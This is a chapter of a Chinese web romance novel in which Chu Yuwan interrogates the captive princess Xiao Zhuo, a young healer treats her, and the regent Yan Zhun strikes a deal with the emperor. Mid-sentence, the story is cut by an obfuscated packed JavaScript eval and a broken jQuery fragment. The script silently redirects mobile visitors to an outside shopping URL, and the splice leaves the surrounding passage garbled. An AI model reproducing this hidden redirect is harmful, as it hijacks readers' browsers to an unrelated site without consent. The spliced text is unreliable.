文趣网 > 其他小说 > 踹了未婚夫后嫁给摄政王 > 23. 第 23 章
    “你不知道啊。”萧濯试着动了动腿换个姿势,“你爹,你那个好爹爹,在姑姑带兵支援之后,他亲手,一箭射穿了姑姑都脚踝,我亲眼所见。”

    楚玉绾见她还在挑拨离间,更加烦躁,“濯姐姐,你未免太看不起人,你是大门不出二门不迈的公主,为何能亲眼看见战场上的事情。”

    “……我以前,不是这样的的。”萧濯喃喃自语。

    “总之,我确实是亲眼所见,信与不信都由你。”萧濯说罢闭上眼睛,“我言尽于此,要杀要剐都随你便。”

    楚玉绾盯着她,试图从她身上找到说谎的痕迹,可惜没有。

    珍姨拍拍她的肩膀:“与其听他人说一万道一千,不如到时候你亲自去问问你的父亲,眼下要紧的是把长公主救出来。”

    “等等。”萧濯突然开口插话,“姑姑已经不在诏狱了,两天前已经有人将她接走了。”

    见楚玉绾满了不相信她的模样,萧濯有些着急:“我没有说谎,姑姑的牢门是我开的。”

    楚玉绾:“……?”

    珍姨:“……!”

    见两个人沉默不语,萧濯继续下猛料,“你们还是不信我吗?是楚鸿赟接走姑姑的,虽然我很讨厌他,但是姑姑说他是可以信任的人,我就勉为其难的让姑姑和他走了。”

    楚玉绾:“……!”

    珍姨:“……?”

    “你们还不信吗?好吧,姑姑让我转告你,不用担心他们,他们永远支持你的一切决定,嗯……应该就这些了。”

    萧濯说完见楚玉绾还没动静有一些恼羞成怒,“该说的我都说完了,你还不信吗?!”

    “其实第一句我就信了,我还没来得及说话你就又开口了……”

    “……”

    “但是,”楚玉绾反应过来了什么,“要是我不问下去,那些事情你都不打算告诉我吗?”

    “……我是来杀你的,为什么要把姑姑的话带到位。”

    楚玉绾猛地退后一步。

    可恶,居然很有道理。

    萧濯莫名嗤笑一声,“说起来,我还听说了一件事情,我觉得非常有趣呢,你想听听吗?”

    楚玉绾站起身,冲珍姨点点头,然后摘下了棉纱,从身上掏出金创药熟练的撒在伤口上,疼得她呲牙咧嘴又恶狠狠地瞪了萧濯一眼,“不感兴趣,你爱说不说,我们要走了。”

    “别啊。”萧濯扯住楚玉绾的衣角,“我听说你逃婚是为了那个摄政王?你看男人的眼光也不怎么样嘛,居然喜欢那么个老货。”

    “叮。”

    珍姨不知道什么时候出的手,短刃小刀一瞬间逼近萧濯的咽喉,却被萧濯用项链的银坠子挡住。

    “哟,你急什么,我和我妹妹说话呢,你算哪根葱,我难道说错了吗?一大把年纪了勾引我妹妹,不要脸。”

    “你从哪听说的?”

    “我?不记得了,但是这件事已经不少人知道了,那传的,啧啧。”

    楚玉绾把萧濯直接拎起来,对着珍姨开口,“事情不对,走。”

    “好。”

    两人脚步很快,被拉住衣领的萧濯一直在大声嚷嚷。

    “救命啊,有人打劫啦。”

    “救命啊,有人强抢民女啦。”

    “救……唔唔唔。”楚玉绾忍无可忍,把刚才防胡椒粉的棉纱直接塞萧濯嘴里了。

    世界总算安静了。

    仨人迅速回到摄政王府,钻进楚玉绾临时的院子,将萧濯往里面一丢,珍姨确定四下无人后轻巧的把门拴上。

    楚玉绾扯掉棉纱,萧濯大声的呸起来,“呸呸呸,差点戳我喉咙里面去了,你们绑我做什么?”

    楚玉绾抱歉的看着她,“不要意思啊,顺手顺惯了。”

    “……呸!”

    萧濯狠狠啐她一口。

    楚玉绾皱眉,“濯姐姐这性子是原本就这样吗?真是恶劣,从前居然没看出来分毫。”

    萧濯像是听到了什么好笑的话,哈哈大笑起来,“哈哈哈哈哈,我啊,被逼疯的人不都这个样子嘛。”

    “谁把你弄成这样的?皇帝?皇后?”楚玉绾试着问她。

    “你管那么多干嘛,要么杀了我要么就放我走。”萧濯把头别到一边不再看她。

    楚玉绾见她不愿意说也不勉强,将坐在地上的萧濯半拉半推的放到椅子上,等麻药劲儿过了就让她走。

    在她们等待的同一时间,皇宫。

    “陛下,落子无悔。”

    晏准漫不经心的打断皇帝想要收回棋子的手,皇帝也不恼,收回手,端起茶盏慢悠悠地喝了一口,目光从棋盘上抬起,落在晏准脸上。

    “摄政王不问问朕今日为何召你前来?”

    晏准不答,眼神依旧留在棋盘上。

    皇帝屈指扣了扣紫檀木桌,最后还是他败下阵来先开口,“朕以为,朕与你可以联手。”

    “哦?陛下何出此言?”

    皇帝伸出手,虚虚指了指西南方,“我们有共同的敌人,不是吗?”

    晏准不置可否,皇帝见这话无法打动他,继续加码,“朕会放了皇姐,还会为你单独下一道圣旨,说清河郡主原本就是许给你的。”

    “陛下,”晏准打断他,“你连同盟都要赶尽杀绝吗?”

    “朕会给皇姐翻案。”

    晏准终于有了点反应,“好。”

    ……

    “不应该啊,怎么会腿疼呢?”

    瑛瑛蹲下身子掀开萧濯的裤腿,边按边问她哪里疼。

    事情是这样的,半刻钟前,萧濯突然嚷嚷腿疼,楚玉绾本来不想理她,以为她又在骗人。

    还是珍姨实在被吵得没办法,准备直接给人打晕,这才看到萧濯已经疼得嘴唇发白,冷汗涔涔。

    一阵人仰马翻后,珍姨把已经熟睡的瑛瑛从被窝里面挖出来,瑛瑛本来还有点迷迷糊糊的,被萧濯的尖叫声给吓醒了,忙跑过去看她的情况。

    “腿上没有明显外伤,内伤的话,唔。”瑛瑛说着从随身的小包裹里面掏出一把小锤子,轻轻敲在萧濯腿上,“这里痛嘛?”

    “痛。”

    “这里呢?”

    “痛。”

    ……

    如此重复了十几回,瑛瑛严肃的放下了锤子,郑重开口,“问题很严重,我先给她扎几针看看效果。”

    楚玉绾心有余悸的开口,“瑛瑛医师,有办法治好吗?”

    瑛瑛的眉头紧锁,“我尽力吧,不行只能让我师傅来了。”

    “你的师傅是……”

    “仇莱,仇神医。”珍姨道。

    十几年前,京城瘟疫蔓延,连皇宫都未能幸免。

    先帝的五公主,八公主,三皇子,五皇子,七皇子先后暴毙,柳皇后,严贵妃也双双殒命,太医院焦头烂额束手无策,皇城死伤无数,最后,先帝也染上来瘟疫。

    仇莱似从天而降,联手太医院三日便研究出了药方,这才避免了更大的伤亡。

    先帝痊愈后非常感激仇莱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650356|202069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,希望能邀请他来太医院任职,仇莱像人间蒸发了一般,突然消失在皇城中,先帝遍寻无果,只得放弃。

    “哼哼,没错,我就是仇神医的关门弟子,仇瑛瑛!”瑛瑛又骄傲起来,如果人也有尾巴的话,那这会儿的瑛瑛应该在疯狂摇晃尾巴。

    “哇,瑛瑛好厉害。”

    “是吧,是吧。”

    楚玉绾围着瑛瑛夸赞,瑛瑛也非常受用,一大一小玩了起来,全然忘记了躺在地上的病患。

    “喂,我说,能管管我吗?”萧濯没好气开口,瑛瑛这才跑过去给她针灸。

    “唔,几针下去如果腿不疼了就没事了,但是我觉得你手上的伤看起来更加吓人一点,绾姐姐,帮我把药箱里的止血药粉拿给我。”

    “好。”

    忙活半天,萧濯终于不嚷嚷腿疼了,瑛瑛擦了擦额头上不存在的汗,嘴里嘟囔着,“真是奇怪,麻药怎么会腿疼呢?”

    “瑛瑛?很晚了,去睡觉吧,今天麻烦你了。”珍姨轻拍瑛瑛的的小脑袋,让她别想那么多了。

    楚玉绾将萧濯送到后门,“摄政王府离你的公主府不远,走回去吧。”

    “妹妹真是心狠,我可是被你伤成这样的。”萧濯可怜巴巴的看着楚玉绾。

    楚玉绾冷哼,“这算互殴,我不打你你就要打我了,快走吧你,等会天亮了被发现端庄大方的静安公主居然蓬头垢面的在街上游走,你辛苦经营的名声不保了。”

    “……看在你没有赶尽杀绝的份上,我告诉你一件事情。”萧濯突然神秘兮兮的凑到她耳边,“小心母后。”

    “什……”

    “嘘,闭嘴,我走了,你自己保重吧。”

    看着萧濯远去的背影,楚玉绾陷入了沉思。

    小心皇后?

    孙皇后,孙皇后有什么问题吗?

    孙皇后是从前的淑妃,沈皇后去世后成了继后,不过硬要说有什么问题的话那也就是继后的位置越过齐贵妃和赵良妃,直接到了孙淑妃头上。

    这也不算什么大事,就是先帝那会儿,柳皇后薨逝之后也是在有皇贵妃的情况下让舒贵妃继为皇后。

    萧濯讨厌死了,说话也不说全了,怎么总要别人来猜啊!

    楚玉绾气鼓鼓的回屋,直接扑到床上,气愤的捶打几下被褥,牵扯到手臂上的伤口又疼得呲牙咧嘴。

    黑夜褪去,天光大白。

    楚玉绾睡到日上三竿才迷迷糊糊的起床,有侍女进来禀报,让她洗漱完去前厅一趟。

    楚玉绾刚到前厅,就看见晏准撑住额头闭着眼睛小憩。

    她放缓了脚步,悄悄的靠近,晏准似乎睡的很熟,楚玉绾走到他身边也没有醒。

    简直是绝佳端详他的机会!

    皮肤很白,是那种常年不见日光的冷白,衬得额角那道细小的伤疤格外显眼。眉毛是锋利的剑眉,他的眼睛却又狭长,睫毛浓密,垂下眼时,那一片阴影便遮住了眼底所有神色,平白添了几分幽深的柔和。

    瞳色很淡,像琥珀的颜色……等等,瞳孔?

    晏准不知道什么时候醒了过来,默不作声的看着楚玉绾色眯眯的盯着他看。

    “你,啊,我,不是,早上好啊。”

    楚玉绾脸颊飞红,胡言乱语。

    晏准看着她窘迫的样子,心情很好的开口,“嗯,叫你来是有些事情。”

    “什么事?”

    “陛下已经解封了公主府,你等会收拾一下东西,然后我安排马车将你送回公主府。”